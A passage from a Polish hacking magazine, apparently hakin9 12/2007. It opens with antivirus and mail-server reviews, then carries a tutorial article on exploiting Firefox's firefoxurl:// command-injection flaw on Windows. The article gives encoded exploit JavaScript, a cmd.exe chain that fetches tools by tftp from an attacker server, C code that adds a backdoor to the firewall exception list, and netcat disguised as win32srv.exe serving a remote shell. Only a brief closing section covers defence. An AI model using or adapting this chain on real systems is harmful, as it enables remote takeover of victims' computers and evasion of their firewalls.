by komputera i jest całkowicie kompatybilny z Micro-
soft Windows od wersji 95 OSR2 do XP Professional.
Pakiet instalacyjny Dr.Web pod Windows do instalacji
wymaga tylko 12-15 MB wolnej przestrzeni dyskowej.
Oszczędza zasoby komputera i nigdy nie jest dla niego
zbytnim obciążeniem – co czyni go niezastąpionym na
wysłużonych maszynach starszej generacji.
Proces instalacji jest bardzo prosty i przebiega bez
żadnych problemów. W trakcie instalacji nie są wymaga-
ne żadne dodatkowe operacje czy ustawienia.
Narzędzie zapewnia ochronę dla poczty elektro-
nicznej. Zainfekowane wiadomości nigdy nie przenikną
do Twojego komputera, jeśli tylko monitor poczty
elektronicznej Dr.Web (SpIDer Mail) będzie aktyw-
ny. Jego zadaniem jest wykrycie i usunięcie szkodli-
wego kodu jeszcze zanim wiadomość trafi do lokalnej
skrzynki użytkownika. Dr.Web SpIDer Mail skanuje
wszystkie komponenty wiadomości: ciało, załączniki,
spakowane pliki itd.
e-Capsule Private Safe
Narzędzie umożliwia przechowywanie dowolnej licz-
by plików i folderów w środku własnego systemu plików
o nazwie he e-Capsule™ File System or EFS. Użytkow-
nik może zarządzać i otwierać zaszyfrowane pliki prze-
chowywane w EFS bez potrzeby uwalniania danych do
zewnętrznych aplikacji. Dla przykładu można czytać plik
PDF, słuchać plików MP3 i oglądać pliki video MPEG bez
potrzeby opuszczania środowiska aplikacji. Cenne dane
cały czas są zaszyfrowane i w każdej chwili mogą zostać
odczytane w normalnej formie – kiedy tylko użytkownik
tego zażąda.
e-Capsule Private Mail
Narzędzie umożliwia ochronę poczty przed wirusami,
a także przed samym systemem operacyjnym. e-Cap-
sule Private Mail przechowuje wiadomości i wszyst-
kie pozostałe informacje w chronionej strefie, gdzie
są one składowane w zaszyfrowanej formie. Wszyst-
kie prywatne informacje są przechowywane i zaszyfro-
wane nawet wtedy, kiedy się ich używa. Także wirusy
i trojany nie są w stanie skutecznie zaatakować, przy-
najmniej do czasu, kiedy nie będą miały informacji na
temat aplikacji, skrzynki pocztowej i struktury książki
adresowej. Program zawiera pełne wsparcie dla proto-
kołów POP3, SMTP, S/MIME.
Rysunek 1.
Dr.Web Anti-Virus + Anti-Spam
12
Narzędzia
hakin9 Nr 12/2007
www.hakin9.org
13
hakin9 Nr 12/2007
www.hakin9.org
Narzędzia
N
ajnowszym dziełem firmy ArcaBit jest ArcaVir
2007. Jest to pakiet służący do komplekso-
wej ochrony komputera. Zawiera m. in. silnik
antywirusowy, moduł wykrywający rootkity, heury-
stykę RoundKick, skaner poczty, moduł wykrywający
phishing, moduł antyspamowy, firewall. Instalacja
programu przebiegła bezproblemowo – już po chwili
w moim systemie był zainstalowany pełen pakiet
ochronny. Jako pierwszy rzucił mi się w oczy monitor
rejestru, który przy jakichkolwiek zmianach w rejestrze
pokazuje podlegający modyfikacji klucz. Jest to niby
przydatna funkcja, ale przy instalacji jakiegokolwiek
oprogramowania ekran z kluczem pokazuje się noto-
rycznie. Wymaga to niekiedy kilkukrotnego klikania w
celu zezwolenia na modyfikację określonego klucza.
Byłoby dobrze, gdyby program rozpoznawał, jaka jest
rola danego klucza i czy jego zmiana jest zagrożeniem
dla systemu. Firewall sprawuje się bardzo dobrze.
Na komputerze z uaktywnionym firewallem nmap
nie wykrył żadnych otwartych portów. Jednak moduł
nie blokuje m. in. Skype, Gadu-Gadu i programów p2p.
Postanowiłem sprawdzić także skaner antywirusowy,
pobrałem kilka często stosowanych wirusów i troja-
nów. Program wykrył wszystkie, ale po zawirusowa-
niu plików tylko w 40% przypadków udało się ich wyle-
czenie. Zdecydowałem się nawet napisać prostego
trojana w Delphi, opartego na protokole używanego
przez Gadu-Gadu. Po ustawieniu heurystyki na wysoki
poziom trojan został wykryty i wysłany do producenta
w celu analizy. ArcaCare – program do kontroli zawarto-
ści stron WWW – sprawdza się bardzo dobrze. Po wpi-
saniu konkretnego adresu system go blokuje, ale tylko
na 80 porcie, więc np. korzystanie z poczty na tym
samym serwerze jest możliwe. Program tworzy odpo-
wiednie raporty po próbie wejścia na adres z czarnej
listy lub na stronę o podejrzanej zawartości, zawierają-
ce adres i godzinę tego wydarzenia. Anty Spamer działa
podobnie jak ArcaCare i tylko czasami potrafi zawieść.
Mamy do dyspozycji wbudowany skaner załączników,
jednak działa on tylko we współpracy z klientami poczty
(podobnie jak sam Anty Spamer). Zatem kiedy korzy-
stamy ze skrzynki przez webmaila – skaner nic nie
pomoże w walce ze spamem. Jeżeli używamy Internet
Explorera 6, to ArcaHTTP potrafi unieszkodliwić złośli-
wy kod, który może zawiesić system, a nawet doprowa-
dzić do przejęcia przez atakującego kontroli nad kompu-
terem. Moduł ten sprawdzałem na 20 groźnych kodach
i zadziałał w 90% przypadków. Program prezentuje się
bardzo dobrze, ale co z użytkownikami, którzy nie posia-
dają Windowsa XP lub 2000 z SP4? Dla nich zosta-
ła przygotowana wersja 2006, zapewniająca ochro-
nę dla starszych systemów. Pomyślano nawet o urzą-
dzeniach mobilnych: na płycie znajduje się ArcaPocket.
Skanuje on pocztę i system plików samego urządzenia,
a gdy to ma połączenie z Internetem – pobiera aktu-
alizacje. Moduł zajmuje tylko 7MB, więc powinien bez
większych problemów działać na większości urządzeń.
Niestety, miałem problem z wpisaniem numeru licencji.
Próbowałem uczynić to pięciokrotnie i za każdym razem
numer nie został przyjęty. Być może powodem był fakt,
że urządzenie nie było podłączone do Internetu. Pod-
sumowując, ArcaVir to program dla przeciętnego użyt-
kownika komputera. Nie wymaga szczególnej znajomo-
ści obsługi komputera, a jedyne, co trzeba ustalić, to
poziom dogłębności skanowania oraz lista stron WWW,
których przeglądanie ma być zabronione dla użytkowni-
ków nieznających hasła dostępu. Pakiet wymaga jednak
nieco dopracowania ze strony technicznej.
Michał Koźmiński
ArcaVir 2007
Producent: ArcaBit
Typ: System protection
Przeznaczenie: Małe, średnie i duże firmy
System: Windows 2000/2003/XP
Strona producenta: www.arcabit.pl
Cena: 241,56 zł
Ocena: 4/5
12
Narzędzia
hakin9 Nr 12/2007
www.hakin9.org
13
hakin9 Nr 12/2007
www.hakin9.org
Narzędzia
K
erio MailServer jest nowoczesnym, bezpiecznym
serwerem poczty e-mail z możliwością pracy
grupowej. Kerio MailServer pozwala użytkowni-
kom nie tylko odbierać i wysyłać wiadomości e-mail, ale
również wymieniać oraz dzielić się zawartością swoich
folderów, kontaktów, kalendarzy, a także poszczególny-
mi wiadomościami z innymi użytkownikami serwera.
Testowany produkt możemy zainstalować na sys-
temach MS Windows (edycje serwerowe MS Windows
2000, Windows 2003 oraz Windows XP i Vista) jak rów-
nież na systemach Linux (SuSe, Fedora). Instalacja
i konfiguracja oprogramowania zajmuje tylko kilka minut.
Zarządzanie użytkownikami również nie sprawia pro-
blemu – przejrzysty interfejs konsoli administracyjnej umoż-
liwia szybkie dodanie lub usunięcie konta użytkownika
– można je również łączyć w grupy. Jeśli w firmie są wdro-
żone usługi katalogowe – zarządzanie jest jeszcze prostsze
– Kerio MailServer potrafi w pełni korzystać z ActiveDirecto-
ry oraz OpenDirectory.
Rosnąca ilość spamu i wirusów rozprzestrzeniają-
cych się za pomocą usług pocztowych, często jest pro-
blemem w przedsiębiorstwie. Kerio MailServer posiada
kilka mechanizmów, które rozwiązują te trudności. Pierw-
szą przeszkodą dla wirusów, jest ochrona antywirusowa
wbudowana w jądro systemu (dostępnych jest 8 silni-
ków antywirusowych różnych producentów). Dla bardziej
wymagających użytkowników, istnieje możliwość imple-
mentacji dwóch silników anty-wirusowych – dzięki czemu
poczta jest skanowana i chroniona podwójnie. Aby wal-
czyć ze spamem, w serwerze Kerio zostało zaimplemen-
towane narzędzie SpamEliminator. Używane są 3 różne
techniki do rozpoznawania i filtracji spamu: analiza heury-
styczna, filtry Bayesa oraz SpamAssasin. Serwer potra-
fi limitować pojemność skrzynki na poziomie użytkowni-
ka oraz grupy. Administrator może zdefiniować ilość jed-
noczesnych połączeń na poszczególne usługi serwera,
można również wymusić korzystanie z czarnych list oraz
własnych zakresów IP. Administratorzy często korzysta-
ją z funkcji wbudowanych filtrów, dzięki czemu można
skanować i filtrować wiadomości wg różnych kryteriów:
adresu, zawartości e-mail, tematu lub jego wielkości.
Największą zaletą programu, jest możliwość pracy
grupowej. Każdy użytkownik, może łatwo przekazać
lub udostępnić dane innym. Użytkownicy mogą prze-
syłać między sobą dane kontaktowe znajdujące się
w skrzynce, e-maile lub całe foldery, przydzielone zada-
nia, notatki lub kalendarze. Ponadto w skrzynkach pocz-
towych istnieje zabezpieczenie umożliwiające przywró-
cenie usuniętych obiektów – jeśli jeden użytkownik
przypadkiem usunąłby coś z udostępnionego folderu
– można to łatwo przywrócić z konsoli zarządzania.
Kerio MailServer potrafi współpracować z urządzenia-
mi mobilnymi. Za pomocą ActiveSync urządzenie przeno-
śne jest konfigurowane do bezpośredniej pracy z danymi
na serwerze, a technologia DirectPush zapewnia ciągły
dostęp do poczty – w dowolnym miejscu na świecie.
Dodatkowo, wspierane są wszystkie funkcje i możliwości
pracy grupowej, przy czym połączenie z serwerem jest
nawiązywane, gdy zajdzie taka potrzeba. Bardzo ciekawą
funkcją wprowadzoną przez Kerio jest technologia Kerio
Smart Wipe. W przypadku zgubienia lub kradzieży urzą-
dzenia, przy kolejnym połączeniu smartphona do konta
pocztowego, wszystkie dane znajdujące się na urządze-
niu zostaną usunięte.
Kerio MailServer był niejednokrotnie wyróżniany
i nagradzany: podczas tegorocznej konferencji LinuxWorld
Conference & Expo został uznany najlepszym produktem
do komunikacji, a redakcja Windows IT Pro uznała go za
najlepszy program mający zastąpić Microsoft Windows
Exchange. Testy tego serwera, pozwalają mi stwierdzić,
że otrzymane nagrody są w pełni zasłużone. Zachęcam
do pobrania i przetestowania Kerio MailServer, jak rów-
nież na stronę www.kerio.pl, gdzie znajdują się dodatko-
we informacje o produkcie.
Krzysztof Kułaj
Producent: Kerio Technologies
Typ: Serwer poczty i pracy grupowej
Przeznaczenie: małe, średnie i duże firmy
Strona producenta: www.kerio.com, www.kerio.pl
Cena: zależna od ilości użytkowników, negocjowana indywidualnie
Ocena: 5/5
Kerio MailServer 6
www.hakin9.org
hakin9 Nr 12/2007
14
Atak
P
rzeglądarka Mozilli liczy sobie już ład-
nych parę lat. Swoją nazwę, Firefox,
uzyskała w lutym 2004. Zjednywała
sobie coraz większe rzesze użytkowników,
by teraz stać się de facto drugą – po Internet
Explorerze – przeglądarką na rynku. Jednak
10 lipca 2007 roku odkryta została luka, która
umożliwia uruchomienie dowolnego progra-
mu w systemie Windows w kontekście Mozilli
Firefox, z prawami użytkownika aktualnie ko-
rzystającego z przeglądarki.
Krótko o Firefoksie, czyli
przegląd błędów
Mozilla Firefox – mimo, iż zyskała sobie po-
wszechną opinię niezwykle bezpiecznego
narzędzia nie ustrzegła się błędów, których
konsekwencją były często poważne luki w za-
bezpieczeniach. Oczywiście nie ma w tym nic
nadzwyczajnego, albowiem oprogramowanie
ma to do siebie, że tworzą je ludzie, a ci nie
są nieomylni. Co ciekawe, nie wszystkie dziu-
ry zostały załatane (na stronie secunia.com
6 z 14 ma status Unpatched). Co psuło się
w tej przeglądarce? Nie radziła sobie ona
z obsługą modelu DOM, co było przyczyną
błędu umożliwiającego ominięcie zabezpie-
czeń i zmianę danych wyświetlanych w prze-
glądarce. Silnik JavaScript umożliwiał uszko-
dzenie pamięci, co w połączeniu z techniką
przepełnienia bufora sprawiało, że poten-
cjalny intruz miał możliwość uruchomienia
własnego kodu na komputerze ofiary. Także
protokoły tworzone przez Firefoksa były
przyczyną wielu krytycznych luk związanych
z bezpieczeństwem. I właśnie jeden z nich
powoduje ostatnią lukę – fire foxurl://.
Niebezpieczny Firefox
Konrad Zuwała
stopień trudności
Przeglądarka Mozilli zyskuje coraz większą popularność. Wielu
użytkowników wybrało ją ze względu na bezpieczeństwo, które
oferuje, wydajny silnik Gecko czy kilka udoskonaleń, które już
na stałe zagościły w przeglądarkach. Czy jednak Firefox jest tak
bezpieczny, za jakiego jest uważany?
Z artykułu dowiesz się
• jak skompromitować system użytkownika
z przeglądarką Mozilla Firefox, działający
w środowisku Windows,
• jak zabezpieczyć się przed tego typu atakiem.
Co powinieneś wiedzieć
• znać podstawy JavaScriptu,
• umieć pisać aplikacje sieciowe w środowisku
Windows,
• znać podstawy WinAPI,
• umieć administrować systemami Windows
z wykorzystaniem wiersza poleceń.
Niebezpieczny Firefox
hakin9 Nr 12/2007
www.hakin9.org
15
FirefoxURL
Mozilla Firefox korzysta z silnika
Gecko. Silnik ten, oprócz przetwarza-
nia stron internetowych, spełnia też
inne istotne zadanie – zarządza in-
terfejsem użytkownika przeglądarki.
Do tego celu przeznaczony jest od-
rębny protokół Mozilli – firefoxurl://.
Uchwyt do tego protokołu jest reje-
strowany w rejestrze systemu Win-
dows, tak, jak jest to pokazane na
Listingu 1.
Zatem, gdy wykonamy polecenie
w rodzaju:
firefoxurl://xxx
, przeglą-
darka zostanie wywołana w wierszu
poleceń:
C:\Program Files\Mozilla\Firefox.exe
-url „xxx” -requestPending.
Błąd ten występuje jedynie w Fire-
foksie w systemie Windows, a wer-
sja przeglądarki, w której go odkryto,
to 2.0.0.4. Dlaczego tylko Windows?
Otóż do wykonania złośliwego ko-
du konieczna jest obecność przeglą-
darki Internet Explorer, albowiem nie
dokonuje ona sprawdzenia wpisywa-
nego łańcucha pod kątem obecno-
ści znaków specjalnych (& itp.), przez
co możliwe jest wysłanie tak skon-
struowanego żądania. Na systemach
uniksowych nie mamy Internet Explo-
rera, nie mamy też możliwości wy-
wołania protokołu Firefoksa z jakiej-
kolwiek innej aplikacji, co skutecznie
blokuje nam możliwość działania.
Mozilla obecna na Linuksie nie będzie
więc obiektem naszego ataku.
Opisywana luka pozwala na uru-
chomienie dowolnego programu w
kontekście np. Chrome, który jest od-
powiedzialny za wygląd przeglądar-
ki. Intruz może więc uruchomić za po-
mocą specjalnie spreparowanej strony
dowolny program na komputerze ofia-
ry, np.
cmd.exe
, czyli powłokę syste-
mu Windows. Może też wykonać cały
ciąg komend korzystając ze znaków
&&
oznaczających wykonanie następne-
go polecenia, gdy poprzednie zakoń-
czy się sukcesem. Tak więc ciąg po-
leceń w rodzaju: uruchom powłokę
&&
pobierz
Backdoor &&
omiń
Firewall-
Windows &&
uruchom
Backdoor
pozwo-
li intruzowi uzyskać zdalny dostęp do
komputera ofiary, omijając przy tym
firewall systemu Windows. Przykła-
dowy backdoor może otwierać po-
włokę (cmd.exe) na porcie wybra-
nym przez intruza i oczekiwać na je-
go połączenie.
Preparujemy
odpowiednią stronę
Pierwszym krokiem, jaki należy
wykonać, jest spreparowanie odpo-
wiedniej strony i namówienie ofia-
ry, aby weszła na nią używając
przeglądarki Internet Explorer. Tak,
Internet Explorer, albowiem gdy na-
potka on odniesienie firefoxurl://,
wywoła Mozillę Firefox w odpowied-
nim kontekście, uruchamiając przy
okazji program cmd.exe na kom-
puterze ofiary i jednocześnie pomi-
jając sprawdzenie żądania pod ką-
tem występowania znaków specjal-
nych. Zastanówmy się najpierw,
jakie działania powinna podjąć na-
sza strona po uzyskaniu dostępu do
powłoki. Z pewnością powinna w ja-
kiś sposób przetransferować przy-
gotowany przez nas backdoor na
dysk ofiary, następnie aplikacja ta
powinna zostać uruchomiona. No
i nie zapominajmy o ominięciu fire-
walla systemu Windows – blokuje
on domyślnie połączenia przycho-
dzące na komputer ofiary, tak więc
powinniśmy dodać aplikację back-
doora do listy wyjątków zapory.
Jeśli bardzo chcemy, możliwe jest
nawet dodanie naszej aplikacji do
listy usług (services) – tak, aby uru-
chamiała się razem z systemem
operacyjnym.
Powstają przy tym dwa proble-
my: jak przemycić tak skompliko-
wane zapytanie oraz w jaki sposób
ściągnąć pliki na komputer użytkow-
nika. Ale po kolei. Nasze działania
musimy rozpocząć od przygotowa-
nia kodu JavaScript, który pozwoli
nam spreparować odpowiednią stro-
nę internetową, zawierającą nasz
exploit. Co powinna zawierać taka
strona? Otóż sam kod nie jest skom-
plikowany: jedyne co należy zrobić,
to wywołać z poziomu
JavaScriptu
firefoxurl
w kontekście jakiegoś roz-
szerzenia Firefoksa – np. Chrome,
na którym skupimy się w naszym
exploicie.
Jak widać na Listingu 2. wywołu-
jemy protokół Firefoksa, firefoxurl://,
następnie inicjujemy proces potomny,
którego zadaniem jest wywołanie pro-
gramu cmd.exe. Kod JavaScript korzy-
sta z wewnętrznego interfejsu Mozilli
Firefox, z interfejsu procesów Mozilli
(więcej na ten temat w ramce W Sie-
ci). Co oznaczają te wszystkie cyfry
w kodzie poprzedzone znakiem %?
Otóż jest to Unicode – kodujemy zna-
ki specjalne w ten sposób, aby odróż-
Listing 1.
Klucz protokołu Firefoxa w rejestrze Windows
[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]C:\PROGRA~1\MOZILL~2\FIREFOX.EXE -url “%1″ -requestPending
Listing 2.
Kod przykładowego exploita, wywołującego program cmd.exe na komputerze użytkownika
firefoxurl:test%
22
%
20
-chrome%
20
%
22javascript:C
=
Components.classes
;
I
=
Components.interfaces
;
file
=
C%5B%
27
@mozilla.org
/
file
/
local
;
1
%
27
%5D.createInstance%28I.nsILocalFile%
29
;
file.initWithPath%
28
%
27C:%
27
+String.fromCharCode%
2892
%
29
+String.fromCharCode%
2892
%
29
+%27Windows%
27
+String.fromCharCode%
2892
%
29
+String.fromCharCode%
2892
%
29
+%27System32%
27
+String.fromCharCode%
2892
%
29
+String.fromCharCode%
2892
%
29
+%27cmd.exe%
27
%
29
;
process
=
C%5B%
27
@mozilla.org
/
process
/
util
;
1
%
27
%5D.createInstance%28I.nsIProcess%
29
;
process.init%28file%
29
;
process.run%28true%252c%7B%7D%252c0%
29
;
hakin9 Nr 12/2007
www.hakin9.org
Atak
16
niały się nieco od kodu JavaScript
(tam też mamy cudzysłów, apostrof,
itp., więc stosowanie tych znaków
mogłoby doprowadzić do opacznej in-
terpretacji skryptu przez przeglądar-
kę. Dodatkowo zabezpiecza nas to
przed kontrolą wpisywanego tekstu,
albowiem w niektórych sytuacjach
kod może zostać rozpoznany jako
złośliwy, co zapobiegnie jego wyko-
naniu). Aby przygotować odpowiedni
kod, należy najpierw dokładnie prze-
myśleć działanie exploita. W pierw-
szej kolejności winien on uruchomić
powłokę, następnie za pomocą proto-
kołu tftp pobrać aplikację backdoora
i program modyfikujący rejestr (doda-
nie do wyjątków firewalla Windows),
po czym konieczne jest uruchomie-
nie obu aplikacji. Dlaczego wybór
w kwestii przesyłania plików padł na
protokół tftp? Otóż jest on niezwykle
prostym, bazującym na UDP proto-
kołem. Obsługa programu tftp.exe jest
bardzo intuicyjna, dzięki czemu mak-
symalnie skrócimy długość naszego
zapytania. Na Listingu 3. widać finalną
wersję wywołania cmd.exe.
Jak widać z Listingu 3. musimy
być posiadaczami serwera tftp – wy-
starczy ściągnąć darmowy tftp-ser-
ver dla systemu Windows bądź zain-
stalować odpowiednią aplikację do-
stępną dla Linuksa. Mamy zatem go-
towy plan działania, jednak najpierw
musimy przygotować odpowiednie
programy –
modifyReg.exe
, dodający
backdoor do listy wyjątków zapory
Windows oraz
win32srv.exe
– właści-
wą aplikację odpowiadającą za nasz
dostęp do komputera ofiary.
Omijamy firewall
Windows
Abyśmy mieli możliwość zdalnego po-
łączenia z komputerem, na którym za-
instalujemy nasz backdoor, musimy
najpierw ominąć firewall – w przeciw-
nym wypadku wszelkie przychodzą-
ce połączenia zostaną zablokowane.
Rozpocznijmy od zrozumienia obsługi
tegoż firewalla. Zapora systemu Win-
dows standardowo blokuje wszystkie
połączenia przychodzące (nie kontro-
luje ona ruchu wychodzącego). Aby
program sieciowy mógł działać, mo-
żemy go dodać do tzw. listy wyjąt-
ków – czyli zestawienia programów,
które nie są przez zaporę kontrolowa-
ne i mogą przyjmować dowolne połą-
czenia na wybranych portach. W jaki
jednak sposób sprawić, aby nasza
aplikacja znalazła się na liście wyjąt-
ków? Z pomocą przychodzi nam re-
jestr Windows, gdzie zapisane są
wszystkie informacje o konfiguracji
komputera, w tym również o zaporze.
Lista wyjątków zapory jest w rze-
czywistości kluczem rejestru, ścieżka
dostępu do autoryzowanych aplikacji
jest pokazana na Listingu 4.
Po otwarciu tego klucza ujrzymy
wszystkie programy, które znajdu-
ją się w wyjątkach zapory. Naszym
celem jest więc umieszczenie nowej
wartości, typu REG_SZ, której nazwa
będzie odpowiadała ścieżce dostępu
do backdoora (czyli C:\WINDOWS\
system32\win32srv.exe), a wartość
pokryje się z nazwą z jednym tylko
wyjątkiem – znajdzie się tam słowo
enabled. To wszystko będzie zada-
niem aplikacji modifyReg.exe – za po-
mocą funkcji
WinAPI
zmieni ona rejestr
systemu. Posłuży nam do tego funkcja
RegistryCreateKeyEx
.
Żeby przekonać się o skuteczno-
ści programu, można za pomocą pro-
gramu regedit odnaleźć odpowiedni
klucz lub po prostu wybrać menu Za-
pory z Panelu Sterowania i sprawdzić
listę wyjątków. Program win32srv.exe
jest poza kontrolą. Oczywiście, uważ-
ny administrator dostrzeże niezna-
ną aplikację na liście wyjątków, co
w połączeniu z pewną wiedzą o za-
rządzanym systemie doprowadzi do
usunięcia naszego backdoora. Jednak
większość użytkowników po ujrzeniu
czegoś w rodzaju win32srv.exe, cze-
goś co wygląda na ważny plik sys-
temowy, postanowi w imię świętego
spokoju zostawić ten program.
Co jednak zrobić w sytuacji, gdy
użytkownik używa innej aplikacji niż
wbudowany w jądro systemu Win-
dows firewall? Przecież na rynku aż
roi się od tego typu rozwiązań. Mo-
że to znacząco utrudnić nasz atak,
ale tylko w części przypadków. Otóż
niektóre zapory korzystają również
z listy wyjątków firewalla Windows,
dopuszczając ruch sieciowy dla pro-
gramów, które dodane są jako wyjątki
tejże aplikacji. Oczywiście dotyczy to
tylko pewnej grupy rozwiązań, znacz-
na część programów filtrujących pa-
kiety używa tylko i wyłącznie własnych
baz danych, co blokuje możliwość ich
prostego ominięcia. Jednak z pomocą
przychodzi nam znów WinAPI – moż-
na po prostu podczepić się pod pro-
ces aplikacji, która ma możliwość ko-
rzystania z Internetu. Autor nie będzie
się na ten temat rozpisywać, albowiem
doskonale wyjaśnia tę kwestię artykuł
z hakin9 nr 3/2005, zatytułowany Omi-
janie firewalli osobistych w Windows.
Nawet najlepszy firewall nie może
stanąć nam na przeszkodzie.
Backdoor
Ostatnim krokiem potrzebnym do po-
wodzenia operacji jest skonstruowa-
nie aplikacji backdoora. Powinien on
otwierać powłokę (cmd.exe) na wybra-
nym przez nas porcie i w razie nadej-
ścia połączenia przekierowywać stan-
Listing 3.
Finalne wywołanie programu cmd.exe
cmd.exe „cd c:\WINDOWS\system32\ && tftp -i GET ourTftpServer.com/modifyReg.exe && tftp
-i GET ourTftpServer.com/win32srv.exe && modifyReg.exe && win32srv.exe”
Listing 4.
Dostęp do autoryzowanych aplikacji zapory Windows poprzez rejestr
HKEY_LOCAL_MACHINESYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\
AuthorizedApplications\List.
Niebezpieczny Firefox
hakin9 Nr 12/2007
www.hakin9.org
17
dardowe wejście, wyjście i strumień
błędów do stworzonego gniazda – tak,
abyśmy otrzymali coś w rodzaju sesji
telnetu. Tyle, że bez potrzeby znajo-
mości hasła.
Można w tym miejscu pokusić się
o napisanie samemu takiego progra-
mu, jednak z pomocą przychodzi nam
znany program netcat. Potrafi on na-
słuchiwać połączenia przychodzące-
go na zadanym porcie, by następnie
przekierować wyjście, wejście oraz
strumień błędów dowolnego programu
(w naszym wypadku jest to cmd.exe).
Dodatkowo zastosowanie netcata – ja-
ko sprawdzonego narzędzia – pozwo-
li nam uniknąć wszelkich niespodzie-
wanych problemów implementacyj-
nych. Tak więc ściągamy netcata dla
Windows NT, zmieniamy jego nazwę
na win32srv.exe, a następnie umiesz-
czamy na naszym serwerze ftp. Musi-
my nieco zmodyfikować nasze finalne
wywołanie – mianowicie programo-
wi win32srv.exe podać trzeba w wier-
szu poleceń pewne argumenty: przede
wszystkim numer portu, na którym ma
nasłuchiwać oraz aplikację, którą wi-
nien do niego przekierować.
Przeanalizujmy Listing 6. urucha-
miamy netcat na porcie 1234. Opcja
-l mówi mu, że ma oczekiwać na po-
łączenia,
-e cmd.exe
oznacza prze-
kierowanie cmd.exe na port 1234,
a
-L
każe mu w razie przerwania sesji
oczekiwać na następne połączenia.
Mamy gotową aplikację back-
doora, program omijający firewall oraz
koncepcję spreparowania strony. Na-
leży więc skleić to wszystko razem.
Łączymy elementy
układanki
Na początku utwórzmy finalną wersję
strony. Znaki specjalne (cudzysłowy,
apostrofy, angielskie
&
) powinny być
zakodowane Unicode'm – tak, aby
ominąć zabezpieczenia związane
z parsowaniem tego typu wyrażeń.
Kod zawarty na Listingu 7. jest
tym, który umieszczamy na stro-
nie. Można go wkleić do sekcji
<body
onload= ”naszKod”>
, można też utwo-
rzyć np. przycisk, który po kliknię-
ciu go wywoła nasz spreparowany
skrypt. Warto zwrócić uwagę na ko-
dowanie cudzysłowów przy wywo-
łaniu cmd.exe. Używamy konstruk-
cji
\
” (czyli w Unicode %5C%22).
W zależności od wersji JavaScript
(czyli od wersji przeglądarki) kon-
strukcja ta może zadziałać lub nie
– w niektórych przypadkach znak
\
jest niezbędny, nieraz zaś może
okazać się nadmiarowy. Należy za-
tem sprawdzić obydwie możliwości.
W przypadku, gdy Unicode nas nie
ratuje, można także posłużyć się Java-
Scriptowym
String.fromCharCode()
.
Listing 5.
Kod programu modifyReg
#include
<windows.h>
#include
<string.h>
int
WINAPI
WinMain
(
HINSTANCE
hInstance
,
HINSTANCE
hPrevInstance
,
LPSTR
lpCmdLine
,
int
nShowCmd
)
{
LONG
registryOperationStatus
;
HKEY
backdoorKeyHandle
;
//Opis funkcji: http://msdn2.microsoft.com/en-us/library/ms724844.aspx
#
define
BACKDOOR_KEY
"SYSTEM
\\
CurrentControlSet
\\
Services
\\
SharedAccess
\\
Parameters
\\
FirewallPolicy
\\
StandardProfile
\\
AuthorizedApplications
\\
List"
RegCreateKeyEx
(
HKEY_LOCAL_MACHINE
,
BACKDOOR_KEY
,
0
,
NULL
,
REG_OPTION_NON_VOLATILE
,
KEY_WRITE
,
NULL
,
&
backdoorKeyHandle
,
NULL
);
// if(registryOperationStaus!=ERROR_SUCCESS)
// exit(0);
RegSetValueEx
(
backdoorKeyHandle
,
"C:
\\
WINDOWS
\\
system32
\\
win32srv.exe"
,
0
,
REG_SZ
,
"C:
\\
WINDOWS
\\
system32
\\
win32srv.exe:*:Enabled"
,
strlen
(
"C:
\\
WINDOWS
\\
system32
\\
win32srv.exe:*:Enabled"
)
);
return
0
;
}
Listing 6.
Program netcat (win32srv.exe) wraz z odpowiednimi opcjami
cmd.exe „cd c:\WINDOWS\system32\ && tftp -i GET ourTftpServer.com/modifyReg.exe && tftp
-i GET ourTftpServer.com/win32srv.exe && modifyReg.exe && win32srv.exe -l -p1234 -d -e cmd.exe –L ”
hakin9 Nr 12/2007
www.hakin9.org
Atak
18
Po spreparowaniu strony musimy
oczywiście umieścić na naszym ser-
werze tftp odpowiednie pliki oraz za-
rejestrować IP ofiary (można je spraw-
dzić np. w logach serwera Apache
lub za pomocą prostego kodu PHP).
Po wykonaniu wszystkich kroków oraz
połączeniu się z ofiarą na porcie 1234
powinniśmy ujrzeć znak zachęty Win-
dows: C:>.
Analiza zdarzenia
– jak się zabezpieczyć?
Nasz atak udał się z kilku powodów.
Przede wszystkim furtką do naszego
komputera okazała się luka w prze-
glądarce. Jednak nawet mimo istnie-
nia tego błędu jesteśmy w stanie za-
bezpieczyć się przed podobnymi ata-
kami. I nie powiem w tym miejscu nic
rewolucyjnego, albowiem metoda jest
niezwykle prosta i chroni przed więk-
szością prób modyfikacji rejestru i pli-
ków systemowych. Otóż wystarczy ko-
rzystać z konta użytkownika z ograni-
czeniami oraz systemu plików NTFS.
W przypadku, gdy intruz uzyska na-
sze uprawnienia podczas gdy korzy-
stamy z konta administratora, może
on do woli modyfikować rejestr i pliki
systemowe, dzięki czemu jest w stanie
ominąć zaporę Windows. Jednak gdy
nasze konto jest ograniczone, nie bę-
dzie mógł zainstalować oprogramowa-
nia typu backdoor, albowiem zablokuje
go firewall. Nie zmienia to faktu, iż po-
tencjalny intruz może wykonać szko-
dliwe operacje w kontekście naszego
użytkownika, takie jak skasowanie pli-
ków z katalogu domowego. Na to jest
tylko jedna rada – nie można wchodzić
na nieznane, podejrzane strony, które
często są nam przysyłane przez ko-
munikatory czy pocztę elektronicz-
ną. Pozostaje mieć nadzieję, że wy-
soka świadomość zagrożeń interne-
towych uchroni Czytelnika przed tego
typu atakami.
Używać czy też nie,
oto jest pytanie
Po zobaczeniu, jak prostym jest de
facto przejęcie kontroli nad kompute-
rem użytkownika Mozilli Firefox w sys-
temie Windows, nasuwa się pytanie,
czy używanie Mozilli jest dobrym po-
mysłem? Przecież przeglądarka ta nie
jest tak bezpieczna, jakby się mogło
wydawać przeciętnemu użytkowniko-
wi komputera, który wiedzę czerpie
głównie od znajomych lub z mało spe-
cjalistycznych portali. Bardziej świado-
my internauta prędzej czy później po-
stawi sobie pytanie dotyczące bytu
Firefoksa na jego komputerze. Oczy-
wiście jeśli używamy systemu Linux,
problem dla nas nie istnieje. Jednak
kiedy z jakichś powodów musimy uży-
wać Windows lub po prostu lubimy ten
system, dobór przeglądarki wydaje się
być w dobie wszechobecnego Inter-
netu kwestią kluczową. Czy warto re-
zygnować z Mozilli? Moim skromnym
zdaniem, zdecydowanie nie. Na uwa-
gę zasługuje fakt, że mimo, iż wykry-
wane są w niej luki związane z bez-
pieczeństwem, są one równie szybko
naprawiane poprzez opublikowanie
kolejnej wersji (opisywana podatność
została usunięta w wersji 2.0.0.5).
Jesteśmy więc narażeni na atak przez
relatywnie krótki okres czasu. Poza
